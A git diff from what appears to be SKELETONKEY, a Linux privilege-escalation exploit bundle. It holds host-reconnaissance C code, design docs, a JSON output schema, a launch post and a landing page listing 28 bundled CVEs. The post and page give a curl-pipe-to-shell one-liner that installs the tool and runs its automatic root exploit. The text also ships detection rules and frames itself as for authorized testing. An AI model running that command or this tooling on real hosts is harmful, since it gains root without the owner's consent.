if (json || h == NULL) return;
|
||||
fprintf(stderr, "[*] host: %s%s%s kernel=%s arch=%s distro=%s/%s\n",
|
||||
h->nodename[0] ? h->nodename : "?",
|
||||
h->is_root ? " (ROOT)" : "",
|
||||
h->is_ssh_session ? " (SSH)" : "",
|
||||
h->kernel.release ? h->kernel.release : "?",
|
||||
h->arch[0] ? h->arch : "?",
|
||||
h->distro_id[0] ? h->distro_id : "?",
|
||||
h->distro_version_id[0] ? h->distro_version_id : "?");
|
||||
fprintf(stderr, "[*] gates: userns=%s aa_restrict=%s bpf_disabled=%s "
|
||||
"kpti=%s lockdown=%s selinux=%s yama_ptrace=%s\n",
|
||||
h->unprivileged_userns_allowed ? "yes" : "no",
|
||||
h->apparmor_restrict_userns ? "on" : "off",
|
||||
h->unprivileged_bpf_disabled ? "yes" : "no",
|
||||
h->kpti_enabled ? "on" : "off",
|
||||
h->kernel_lockdown_active ? "on" : "off",
|
||||
h->selinux_enforcing ? "on" : "off",
|
||||
h->yama_ptrace_restricted ? "yes" : "no");
|
||||
if (h->sudo_version[0] || h->polkit_version[0])
|
||||
fprintf(stderr, "[*] userspace: sudo=%s polkit=%s\n",
|
||||
h->sudo_version[0] ? h->sudo_version : "-",
|
||||
h->polkit_version[0] ? h->polkit_version : "-");
|
||||
}
|
||||
+137
@@ -0,0 +1,137 @@
|
||||
/*
|
||||
* SKELETONKEY — host fingerprint
|
||||
*
|
||||
* Populated once at startup, before any module's detect() runs. Every
|
||||
* module receives a stable pointer via skeletonkey_ctx.host and can
|
||||
* consult it without re-parsing /proc, /etc/os-release, uname(2), or
|
||||
* forking another userns probe.
|
||||
*
|
||||
* The struct is deliberately POD (no heap pointers, fixed-size
|
||||
* arrays) so lifetime reasoning is trivial. A single static instance
|
||||
* lives in core/host.c; skeletonkey_host_get() returns the same
|
||||
* pointer on every call. The first call probes; subsequent calls
|
||||
* are O(1) lookups.
|
||||
*
|
||||
* Fields that don't apply on a given platform (e.g. AppArmor sysctls
|
||||
* on a non-Linux dev build, KPTI on aarch64) stay at their false /
|
||||
* "?" defaults. Probing is best-effort: a missing sysctl never fails
|
||||
* the call, just leaves the corresponding bool false.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_HOST_H
|
||||
#define SKELETONKEY_HOST_H
|
||||
|
||||
#include "kernel_range.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
struct skeletonkey_host {
|
||||
/* ── identity ─────────────────────────────────────────────── */
|
||||
|
||||
struct kernel_version kernel; /* uname.release parsed */
|
||||
char arch[32]; /* uname.machine ("x86_64", "aarch64") */
|
||||
char nodename[64]; /* uname.nodename (for log lines) */
|
||||
|
||||
char distro_id[64]; /* /etc/os-release ID ("ubuntu", "debian", "fedora", "?") */
|
||||
char distro_version_id[64]; /* /etc/os-release VERSION_ID ("24.04", "13", "?") */
|
||||
char distro_pretty[128]; /* /etc/os-release PRETTY_NAME for log lines */
|
||||
|
||||
/* ── process state ─────────────────────────────────────────── */
|
||||
|
||||
uid_t euid; /* geteuid() */
|
||||
uid_t real_uid; /* outer uid (defeats userns illusion via /proc/self/uid_map) */
|
||||
gid_t egid; /* getegid() */
|
||||
char username[64]; /* getpwuid(euid)->pw_name or "" */
|
||||
bool is_root; /* euid == 0 */
|
||||
bool is_ssh_session; /* SSH_CONNECTION env var set */
|
||||
|
||||
/* ── platform family ───────────────────────────────────────── */
|
||||
|
||||
bool is_linux; /* compiled / running on Linux */
|
||||
bool is_debian_family; /* /etc/debian_version exists */
|
||||
bool is_rpm_family; /* redhat / fedora / rocky / almalinux release file */
|
||||
bool is_arch_family; /* /etc/arch-release */
|
||||
bool is_suse_family; /* /etc/SuSE-release or /etc/SUSE-brand */
|
||||
|
||||
/* ── capability / gate flags (Linux) ──────────────────────── */
|
||||
|
||||
bool unprivileged_userns_allowed; /* fork+unshare(CLONE_NEWUSER) succeeded */
|
||||
bool apparmor_restrict_userns; /* sysctl: 1 = AA blocks unpriv userns */
|
||||
bool unprivileged_bpf_disabled; /* /proc/sys/kernel/unprivileged_bpf_disabled = 1 */
|
||||
bool kpti_enabled; /* /sys/.../meltdown contains "Mitigation: PTI" */
|
||||
bool kernel_lockdown_active; /* /sys/kernel/security/lockdown != [none] */
|
||||
bool selinux_enforcing; /* /sys/fs/selinux/enforce = 1 */
|
||||
bool yama_ptrace_restricted; /* /proc/sys/kernel/yama/ptrace_scope > 0 */
|
||||
|
||||
/* ── system services ──────────────────────────────────────── */
|
||||
|
||||
bool has_systemd; /* /run/systemd/system exists */
|
||||
bool has_dbus_system; /* /run/dbus/system_bus_socket exists */
|
||||
|
||||
/* ── userspace component versions ─────────────────────────
|
||||
* Parsed once at startup via popen() of the relevant binary's
|
||||
* --version output. Empty string ("") means "tool not installed
|
||||
* or version parse failed" — modules should treat that as
|
||||
* PRECOND_FAIL (no exploit target). The exact format mirrors
|
||||
* what the tool prints (`Sudo version 1.9.5p2`, `pkexec version
|
||||
* 0.105`, …); modules do their own range parsing. */
|
||||
char sudo_version[64]; /* "1.9.13p1" or "" */
|
||||
char polkit_version[64]; /* "0.105" or "126" or "" */
|
||||
|
||||
/* Informational: the SKELETONKEY component that populated this
|
||||
* snapshot (for log/JSON output). */
|
||||
const char *probe_source;
|
||||
};
|
||||
|
||||
/* Get the host fingerprint. Returns a stable, non-null pointer that
|
||||
* lives for the process lifetime. Probes happen lazily on the first
|
||||
* call (~50ms; dominated by the userns fork-probe), are cached, and
|
||||
* subsequent calls are free.
|
||||
*
|
||||
* Probing is best-effort: missing files / unsupported sysctls leave
|
||||
* the corresponding bool false. The function does not fail. */
|
||||
const struct skeletonkey_host *skeletonkey_host_get(void);
|
||||
|
||||
/* Print a two-line "host fingerprint" banner to stderr suitable for
|
||||
* --auto / --scan verbose output. Silent on JSON mode. */
|
||||
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json);
|
||||
|
||||
/* True iff h->kernel >= the (major, minor, patch) provided. Returns
|
||||
* false if h is NULL or its kernel version was never populated (major
|
||||
* == 0). Replaces the manual `v->major < X` / `(v->major == X &&
|
||||
* v->minor < Y)` patterns scattered across detect()s — cleaner reads
|
||||
* and one place to get the comparison right.
|
||||
*
|
||||
* Examples:
|
||||
* if (!host_kernel_at_least(h, 7, 0, 0)) // kernel predates 7.0
|
||||
* return SKELETONKEY_OK;
|
||||
* if ( host_kernel_at_least(h, 6, 8, 0)) // kernel post-fix
|
||||
* return SKELETONKEY_OK;
|
||||
*/
|
||||
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
|
||||
int major, int minor, int patch);
|
||||
|
||||
/* True iff h->kernel is in [lo, hi). Useful for "vulnerable range"
|
||||
* gates where the simple `kernel_range_is_patched` backport model
|
||||
* doesn't apply — e.g. a feature added in X.Y and removed/superseded
|
||||
* in W.Z, or a per-module "vulnerable only on these specific kernel
|
||||
* lines" check.
|
||||
*
|
||||
* Equivalent to:
|
||||
* host_kernel_at_least(h, lo...) && !host_kernel_at_least(h, hi...)
|
||||
*
|
||||
* For "predates the bug" alone use host_kernel_at_least directly; the
|
||||
* `in_range` form is for the bounded interval case.
|
||||
*
|
||||
* Example:
|
||||
* if (host_kernel_in_range(h, 5, 8, 0, 5, 17, 0))
|
||||
* // kernel 5.8 ≤ K < 5.17 — vulnerable window per the mainline
|
||||
* // introduction/fix dates (ignoring stable backports)
|
||||
*/
|
||||
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
|
||||
int lo_major, int lo_minor, int lo_patch,
|
||||
int hi_major, int hi_minor, int hi_patch);
|
||||
|
||||
#endif /* SKELETONKEY_HOST_H */
|
||||
+13
-3
@@ -40,9 +40,12 @@ typedef enum {
|
||||
SKELETONKEY_EXPLOIT_OK = 5,
|
||||
} skeletonkey_result_t;
|
||||
|
||||
/* Per-invocation context passed to module callbacks. Lightweight for
|
||||
* now; will grow as modules need shared state (host fingerprint,
|
||||
* leaked kbase, etc.). */
|
||||
/* Per-invocation context passed to module callbacks. The host
|
||||
* fingerprint (kernel / distro / capability gates / service presence)
|
||||
* is populated once at startup by core/host.c and handed to every
|
||||
* module callback here — see core/host.h. */
|
||||
struct skeletonkey_host; /* forward decl; full def in core/host.h */
|
||||
|
||||
struct skeletonkey_ctx {
|
||||
bool no_color; /* --no-color */
|
||||
bool json; /* --json (machine-readable output) */
|
||||
@@ -50,6 +53,13 @@ struct skeletonkey_ctx {
|
||||
bool no_shell; /* --no-shell (exploit prep but don't pop) */
|
||||
bool authorized; /* user typed --i-know on exploit */
|
||||
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
|
||||
bool dry_run; /* --dry-run (preview only; never call exploit/mitigate/cleanup) */
|
||||
|
||||
/* Host fingerprint — see core/host.h. Stable pointer, populated
|
||||
* once by main() before any module callback runs. Modules that
|
||||
* want to consult it #include "../../core/host.h". May be NULL
|
||||
* only in degenerate test contexts; main() always sets it. */
|
||||
const struct skeletonkey_host *host;
|
||||
};
|
||||
|
||||
struct skeletonkey_module {
|
||||
|
||||
@@ -40,5 +40,12 @@ void skeletonkey_register_nft_set_uaf(void);
|
||||
void skeletonkey_register_af_unix_gc(void);
|
||||
void skeletonkey_register_nft_fwd_dup(void);
|
||||
void skeletonkey_register_nft_payload(void);
|
||||
void skeletonkey_register_sudo_samedit(void);
|
||||
void skeletonkey_register_sequoia(void);
|
||||
void skeletonkey_register_sudoedit_editor(void);
|
||||
void skeletonkey_register_vmwgfx(void);
|
||||
void skeletonkey_register_dirtydecrypt(void);
|
||||
void skeletonkey_register_fragnesia(void);
|
||||
void skeletonkey_register_pack2theroot(void);
|
||||
|
||||
#endif /* SKELETONKEY_REGISTRY_H */
|
||||
|
||||
+43
-1
@@ -82,7 +82,11 @@ Code that more than one module needs lives in `core/`:
|
||||
|
||||
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
|
||||
`--detect-rules`, `--cleanup`, etc.)
|
||||
2. Fingerprint the host
|
||||
2. **Fingerprint the host** — `core/host.c` is called once at startup
|
||||
to populate `struct skeletonkey_host` (kernel version + arch +
|
||||
distro + capability gates + service presence). The result is
|
||||
handed to every module via `ctx->host`. See "Host fingerprint"
|
||||
below.
|
||||
3. For `--scan`: iterate module registry, call each module's
|
||||
`detect()`, emit table of results
|
||||
4. For `--exploit <name>`: locate module, gate behind `--i-know`,
|
||||
@@ -90,6 +94,44 @@ Code that more than one module needs lives in `core/`:
|
||||
5. For `--detect-rules`: walk module registry, concatenate detection
|
||||
files in the requested format
|
||||
|
||||
## Host fingerprint (`core/host.{h,c}`)
|
||||
|
||||
A single `struct skeletonkey_host` is populated once at startup and
|
||||
exposed to every module via `ctx->host` (a stable pointer for the
|
||||
process lifetime). It carries:
|
||||
|
||||
- **Identity:** `struct kernel_version kernel` + arch + nodename +
|
||||
distro id/version/pretty (parsed from `/etc/os-release`).
|
||||
- **Process state:** euid, real_uid (defeats the userns illusion by
|
||||
reading `/proc/self/uid_map`), egid, username, is_root,
|
||||
is_ssh_session.
|
||||
- **Platform family:** is_linux, is_debian_family, is_rpm_family,
|
||||
is_arch_family, is_suse_family.
|
||||
- **Capability gates (Linux):** unprivileged_userns_allowed (live
|
||||
fork-probe), apparmor_restrict_userns, unprivileged_bpf_disabled,
|
||||
kpti_enabled, kernel_lockdown_active, selinux_enforcing,
|
||||
yama_ptrace_restricted.
|
||||
- **System services:** has_systemd, has_dbus_system.
|
||||
|
||||
Modules that want to consult the fingerprint do:
|
||||
|
||||
```c
|
||||
#include "../../core/host.h"
|
||||
/* ... */
|
||||
if (ctx->host && !ctx->host->unprivileged_userns_allowed)
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
if (ctx->host->kernel.major < 7)
|
||||
return SKELETONKEY_OK; /* predates the bug */
|
||||
```
|
||||
|
||||
The migration is opt-in per module — modules that don't `#include`
|
||||
host.h continue to do their own probes; modules that do save the
|
||||
duplicate work and get a consistent view across the whole scan.
|
||||
|
||||
`--auto` and `--scan` (in verbose mode) print a two-line banner of
|
||||
the fingerprint via `skeletonkey_host_print_banner()` so operators
|
||||
can see at a glance which gates are open.
|
||||
|
||||
## CI matrix
|
||||
|
||||
`.github/workflows/ci.yml` (planned, Phase 4) runs each module's
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
# SKELETONKEY JSON output schema
|
||||
|
||||
`skeletonkey --scan --json` (and `--auto --json`, planned) emit a
|
||||
single JSON object on **stdout**. All human-readable banner lines and
|
||||
per-module log chatter go to **stderr** in JSON mode — pipes to SIEMs
|
||||
and fleet aggregators get a clean machine-parseable document on
|
||||
stdout while operators still see diagnostics on stderr.
|
||||
|
||||
This document is the contract for that JSON. SKELETONKEY treats it
|
||||
as a stability commitment: new fields may appear in future releases,
|
||||
but existing field names and value types do not change without a
|
||||
major-version bump.
|
||||
|
||||
## Top-level object
|
||||
|
||||
```json
|
||||
{
|
||||
"version": "0.6.0",
|
||||
"modules": [ /* ... per-module entries ... */ ]
|
||||
}
|
||||
```
|
||||
|
||||
| Field | Type | Stability | Meaning |
|
||||
|------------|----------|------------|---------|
|
||||
| `version` | string | stable | The SKELETONKEY release that produced this document. Semver-ish (`MAJOR.MINOR.PATCH`). Consumers may use it to correlate with the corpus inventory in [`CVES.md`](../CVES.md). |
|
||||
| `modules` | array | stable | One entry per registered module, emitted in the order the dispatcher's `--list` reports them. Length grows monotonically as new modules land. |
|
||||
|
||||
## Per-module entry
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "dirty_pipe",
|
||||
"cve": "CVE-2022-0847",
|
||||
"result": "OK"
|
||||
}
|
||||
```
|
||||
|
||||
| Field | Type | Stability | Meaning |
|
||||
|----------|--------|-----------|---------|
|
||||
| `name` | string | stable | The module's CLI identifier — what you pass to `--exploit <name>`. Lowercase, ASCII, `_`-delimited. Never changes for a given module across releases. |
|
||||
| `cve` | string | stable | The CVE identifier (`CVE-YYYY-NNNNN`), or `"VARIANT"` for sibling variants without their own CVE (e.g. `copy_fail_gcm`), or `"-"` for primitives like `entrybleed` that have a CVE-less role. |
|
||||
| `result` | string | stable | One of the `result` enum values below. |
|
||||
|
||||
## `result` enum
|
||||
|
||||
| Value | Exit code | Meaning |
|
||||
|----------------|-----------|---------|
|
||||
| `OK` | 0 | Module's `detect()` ran successfully. Host is **patched** for this CVE, or the bug class is not applicable here (predates the introduction, wrong arch, etc.). Safe to ignore for this host. |
|
||||
| `TEST_ERROR` | 1 | `detect()` could not decide — the host fingerprint is missing data, the version parser failed, or an internal probe errored. Treat as "no information; check manually." |
|
||||
| `VULNERABLE` | 2 | Host is **vulnerable** to this CVE per the module's detect logic (version-based and/or empirical active probe). `--exploit <name> --i-know` will attempt to land root. |
|
||||
| `EXPLOIT_FAIL` | 3 | Only ever returned by `--exploit`, never by `--scan`. Exploit was attempted but did not land root. Diagnostic context goes to stderr. |
|
||||
| `PRECOND_FAIL` | 4 | A documented precondition is not met on this host — examples: unprivileged user namespaces disabled, AppArmor restriction on, sudo not installed, AF_RXRPC unavailable. The bug may exist on the kernel but the carrier path here is closed. |
|
||||
| `EXPLOIT_OK` | 5 | Only ever returned by `--exploit` / `--auto`. Root was achieved; for `--auto` mode this is the process exit code that drove the dispatcher into a root shell. |
|
||||
|
||||
## Process exit code semantics for `--scan`
|
||||
|
||||
The process exit code is the **worst (highest) result code** observed
|
||||
across all modules. This lets a SIEM treat the binary's exit code as
|
||||
a single-host alert level without re-parsing JSON:
|
||||
|
||||
| Exit code | Interpretation |
|
||||
|-----------|-----------------------------------------------------|
|
||||
| 0 | All modules `OK`. Host is patched for the corpus. |
|
||||
| 1 | At least one module returned `TEST_ERROR`. Investigate. |
|
||||
| 2 | At least one module returned `VULNERABLE`. Patch the host. |
|
||||
| 4 | At least one module returned `PRECOND_FAIL` (and none worse). Host has reduced attack surface but is not necessarily safe. |
|
||||
|
||||
(Process exit codes 3 and 5 are exclusive to the `--exploit` /
|
||||
`--auto` modes and never appear in `--scan` output.)
|
||||
|
||||
## Example: invoking + parsing
|
||||
|
||||
```bash
|
||||
# capture pure JSON
|
||||
skeletonkey --scan --json --no-color > host-$(hostname).json 2> /dev/null
|
||||
|
||||
# any vulnerable modules?
|
||||
jq -e '.modules[] | select(.result == "VULNERABLE") | .name' host-*.json
|
||||
|
||||
# fleet roll-up — modules vulnerable across the fleet, by frequency
|
||||
jq -s 'map(.modules[] | select(.result == "VULNERABLE") | .name)
|
||||
| flatten | group_by(.) | map({mod: .[0], count: length})
|
||||
| sort_by(-.count)' host-*.json
|
||||
```
|
||||
|
||||
`jq -e` exits non-zero when its selector matches nothing, giving the
|
||||
fleet runner a per-host "any-vulnerable" boolean without parsing the
|
||||
document.
|
||||
|
||||
## Stability promises
|
||||
|
||||
**Stable across non-major releases:**
|
||||
|
||||
- Field names listed in the tables above (`version`, `modules`, `name`,
|
||||
`cve`, `result`).
|
||||
- The `result` enum string set. New result strings cannot appear
|
||||
without a major version bump.
|
||||
- The `modules` array containing exactly one entry per registered
|
||||
module.
|
||||
- Exit-code semantics for `--scan`.
|
||||
|
||||
**May change without notice:**
|
||||
|
||||
- The `modules` array length, ordering, and contents (new modules are
|
||||
added regularly; ordering follows registration order which is
|
||||
stable per release but not a contract).
|
||||
- Whitespace / formatting of the JSON itself (consumers MUST parse,
|
||||
not regex).
|
||||
- Field values for `cve` (a stub variant could gain a real CVE later).
|
||||
|
||||
**May be added in future minor versions:**
|
||||
|
||||
- New per-module fields (e.g. `family`, `summary`, `safety_rank`,
|
||||
`kernel_range`). Consumers MUST ignore unknown fields.
|
||||
- New top-level fields (e.g. `host_fingerprint`, `scan_started_at`,
|
||||
`schema_version`). Consumers MUST ignore unknown fields.
|
||||
- A `--scan --active --json` output may grow per-probe verdict
|
||||
metadata under a new `probe` sub-object.
|
||||
|
||||
## Recommended consumer pattern
|
||||
|
||||
```python
|
||||
import json, subprocess, sys
|
||||
|
||||
doc = json.loads(subprocess.check_output(
|
||||
["skeletonkey", "--scan", "--json", "--no-color"],
|
||||
stderr=subprocess.DEVNULL,
|
||||
))
|
||||
|
||||
assert doc["version"], "missing top-level version"
|
||||
for mod in doc["modules"]:
|
||||
assert mod["name"] and mod["cve"] and mod["result"], \
|
||||
f"malformed module entry: {mod!r}"
|
||||
if mod["result"] == "VULNERABLE":
|
||||
print(f"{mod['name']} ({mod['cve']}): VULNERABLE", file=sys.stderr)
|
||||
```
|
||||
|
||||
Ignore unknown fields. Match `result` against the enum, but treat
|
||||
unknown strings as `TEST_ERROR`-equivalent (forward-compat).
|
||||
+102
@@ -0,0 +1,102 @@
|
||||
# SKELETONKEY — launch post
|
||||
|
||||
> Copy-pasteable for HN, lobste.rs, mastodon, blog. ~600 words.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY: a curated Linux LPE corpus with detection rules baked in
|
||||
|
||||
The Linux privilege-escalation space is fragmented. Single-CVE PoC
|
||||
repos go stale within months. `linux-exploit-suggester` tells you
|
||||
what *might* work but doesn't run anything. `auto-root-exploit` and
|
||||
`kernelpop` bundle exploits but ship no detection signatures and
|
||||
haven't been maintained in years.
|
||||
|
||||
**SKELETONKEY** is one curated binary that:
|
||||
|
||||
1. Fingerprints the host's kernel / distro / sudo / userland.
|
||||
2. Reports which of 28 bundled CVEs that host is still vulnerable
|
||||
to — covering 2016 through 2026.
|
||||
3. With explicit `--i-know` authorization, runs the safest one and
|
||||
gets you root.
|
||||
4. Ships matching **auditd + sigma rules** for every CVE so blue
|
||||
teams get the same coverage when they deploy it.
|
||||
|
||||
### One command
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
`--auto` ranks vulnerable modules by **exploit safety** —
|
||||
structural escapes (no kernel state touched) first, then page-cache
|
||||
writes, then userspace cred-races, then kernel primitives, then
|
||||
kernel races last — and runs the safest match. If it fails it falls
|
||||
back gracefully and tells you the next candidates to try manually.
|
||||
|
||||
### What's in the corpus
|
||||
|
||||
- **Userspace LPE**: pwnkit (CVE-2021-4034), sudo Baron Samedit
|
||||
(CVE-2021-3156), sudoedit EDITOR escape (CVE-2023-22809)
|
||||
- **Page-cache writes**: dirty_pipe (CVE-2022-0847), dirty_cow
|
||||
(CVE-2016-5195), copy_fail family (CVE-2026-31431, 43284, 43500)
|
||||
- **Container/namespace**: cgroup_release_agent (CVE-2022-0492),
|
||||
overlayfs (CVE-2021-3493), overlayfs_setuid (CVE-2023-0386),
|
||||
fuse_legacy (CVE-2022-0185)
|
||||
- **Kernel primitives**: netfilter (4 CVEs from 2022→2024),
|
||||
af_packet (CVE-2017-7308, CVE-2020-14386), cls_route4
|
||||
(CVE-2022-2588), netfilter_xtcompat (CVE-2021-22555)
|
||||
- **Kernel races**: stackrot (CVE-2023-3269), af_unix_gc
|
||||
(CVE-2023-4622), Sequoia (CVE-2021-33909)
|
||||
- **Side channels**: EntryBleed kbase leak (CVE-2023-0458)
|
||||
- **Graphics**: vmwgfx DRM OOB (CVE-2023-2008)
|
||||
- **Userspace classic**: PTRACE_TRACEME (CVE-2019-13272)
|
||||
|
||||
Full inventory at
|
||||
[CVES.md](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md).
|
||||
|
||||
### The verified-vs-claimed bar
|
||||
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||
offsets. Modules with a kernel primitive but no per-kernel
|
||||
cred-overwrite chain default to firing the primitive + grooming the
|
||||
slab + recording an empirical witness, then return
|
||||
`EXPLOIT_FAIL` honestly. The opt-in `--full-chain` engages the
|
||||
shared `modprobe_path` finisher with sentinel-arbitrated success
|
||||
(it only claims root when a setuid bash actually materializes).
|
||||
|
||||
When `--full-chain` needs kernel offsets, you populate them once on
|
||||
a target kernel via `skeletonkey --dump-offsets` (parses
|
||||
`/proc/kallsyms` or `/boot/System.map`) and either set env vars or
|
||||
upstream the entry to `core/offsets.c kernel_table[]` via PR.
|
||||
|
||||
### For each side of the house
|
||||
|
||||
- **Red team**: stop curating broken PoCs. One tested binary, fresh
|
||||
releases, honest scope reporting.
|
||||
- **Sysadmins**: one command, no SaaS, JSON output for CI gates.
|
||||
Fleet-scan tool included.
|
||||
- **Blue team**: `skeletonkey --detect-rules --format=auditd | sudo
|
||||
tee /etc/audit/rules.d/99-skeletonkey.rules` and you have coverage
|
||||
for every CVE in the bundle. Sigma + YARA + Falco output also
|
||||
supported.
|
||||
|
||||
### Status + roadmap
|
||||
|
||||
v0.5.0 today: 28 modules, all build clean on Debian 13 / kernel
|
||||
6.12, all refuse-on-patched verified. The embedded offset table is
|
||||
empty — operator-populated. Next: empirical validation on a
|
||||
multi-distro vuln-kernel VM matrix, then offset-table community
|
||||
seeding for common cloud builds.
|
||||
|
||||
MIT. Each module credits the original CVE reporter and PoC author
|
||||
in its `NOTICE.md`. The research credit belongs to the people who
|
||||
found the bugs; SKELETONKEY is the bundling layer.
|
||||
|
||||
**Repo:** https://github.com/KaraZajac/SKELETONKEY
|
||||
**Release:** https://github.com/KaraZajac/SKELETONKEY/releases/latest
|
||||
|
||||
Authorized testing only. Read [docs/ETHICS.md](ETHICS.md) before you
|
||||
point this at anything you don't own.
|
||||
+289
@@ -0,0 +1,289 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>SKELETONKEY — Curated Linux LPE corpus with detection rules</title>
|
||||
<meta name="description" content="One curated binary. 28 Linux privilege-escalation exploits from 2016 → 2026. Auditd + sigma + yara + falco rules in the box. One command picks the safest LPE and runs it.">
|
||||
<meta property="og:title" content="SKELETONKEY — Curated Linux LPE corpus">
|
||||
<meta property="og:description" content="28 Linux LPE exploits, 2016 → 2026, with detection rules in the box. One command picks the safest one and runs it.">
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
|
||||
<meta name="twitter:card" content="summary">
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<nav class="nav">
|
||||
<span class="nav-brand">SKELETONKEY</span>
|
||||
<a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY"
|
||||
aria-label="View on GitHub">
|
||||
<svg height="20" viewBox="0 0 16 16" width="20" fill="currentColor" aria-hidden="true">
|
||||
<path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38
|
||||
0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13
|
||||
-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66
|
||||
.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15
|
||||
-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0
|
||||
1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82
|
||||
1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01
|
||||
1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
|
||||
</svg>
|
||||
<span>GitHub</span>
|
||||
</a>
|
||||
</nav>
|
||||
|
||||
<header class="hero">
|
||||
<div class="container">
|
||||
<h1>SKELETONKEY</h1>
|
||||
<p class="tag">
|
||||
One curated binary. <strong>28 Linux LPE exploits</strong> from
|
||||
2016 → 2026. Detection rules in the box.
|
||||
<strong>One command picks the safest one and runs it.</strong>
|
||||
</p>
|
||||
|
||||
<div class="install-block">
|
||||
<button class="copy" onclick="copyInstall(this)">copy</button>
|
||||
<pre id="install-cmd"><span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& skeletonkey --auto --i-know</pre>
|
||||
</div>
|
||||
|
||||
<p class="warn">⚠ Authorized testing only — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></p>
|
||||
|
||||
<div class="cta-row">
|
||||
<a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">Latest release</a>
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY">View on GitHub</a>
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">Full CVE inventory</a>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>Why this exists</h2>
|
||||
<p class="lead">
|
||||
Most Linux privesc tooling is broken in one of three ways:
|
||||
</p>
|
||||
<ul class="tight">
|
||||
<li><strong>linux-exploit-suggester / linpeas</strong> — tell you what <em>might</em> work, run nothing</li>
|
||||
<li><strong>auto-root-exploit / kernelpop</strong> — bundle exploits but ship no detection signatures and went stale years ago</li>
|
||||
<li><strong>Per-CVE PoC repos</strong> — one author, one distro, abandoned within months</li>
|
||||
</ul>
|
||||
<p class="lead" style="margin-top:1rem">
|
||||
SKELETONKEY is one binary, actively maintained, with detection
|
||||
rules for every CVE it bundles — same project for red and blue
|
||||
teams.
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>Corpus at a glance</h2>
|
||||
|
||||
<div class="stats">
|
||||
<div class="stat">
|
||||
<span class="stat-num">28</span>
|
||||
<span class="stat-label">verified modules</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-num green">14</span>
|
||||
<span class="stat-label">🟢 land root by default</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-num yellow">14</span>
|
||||
<span class="stat-label">🟡 primitive + opt-in chain</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-num">10y</span>
|
||||
<span class="stat-label">2016 → 2026 coverage</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<h3 style="color: var(--green);">🟢 Lands root on a vulnerable host</h3>
|
||||
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Structural exploits + page-cache writes. No per-kernel offsets needed.</p>
|
||||
<div class="pills">
|
||||
<span class="pill green">copy_fail</span>
|
||||
<span class="pill green">copy_fail_gcm</span>
|
||||
<span class="pill green">dirty_frag_esp</span>
|
||||
<span class="pill green">dirty_frag_esp6</span>
|
||||
<span class="pill green">dirty_frag_rxrpc</span>
|
||||
<span class="pill green">dirty_pipe</span>
|
||||
<span class="pill green">dirty_cow</span>
|
||||
<span class="pill green">pwnkit</span>
|
||||
<span class="pill green">overlayfs</span>
|
||||
<span class="pill green">overlayfs_setuid</span>
|
||||
<span class="pill green">cgroup_release_agent</span>
|
||||
<span class="pill green">ptrace_traceme</span>
|
||||
<span class="pill green">sudoedit_editor</span>
|
||||
<span class="pill green">entrybleed</span>
|
||||
</div>
|
||||
|
||||
<h3 style="color: var(--yellow);">🟡 Fires kernel primitive · opt-in <code>--full-chain</code></h3>
|
||||
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Default returns <code>EXPLOIT_FAIL</code> honestly. With <code>--full-chain</code> + resolved offsets, runs the shared modprobe_path finisher.</p>
|
||||
<div class="pills">
|
||||
<span class="pill yellow">nf_tables</span>
|
||||
<span class="pill yellow">nft_set_uaf</span>
|
||||
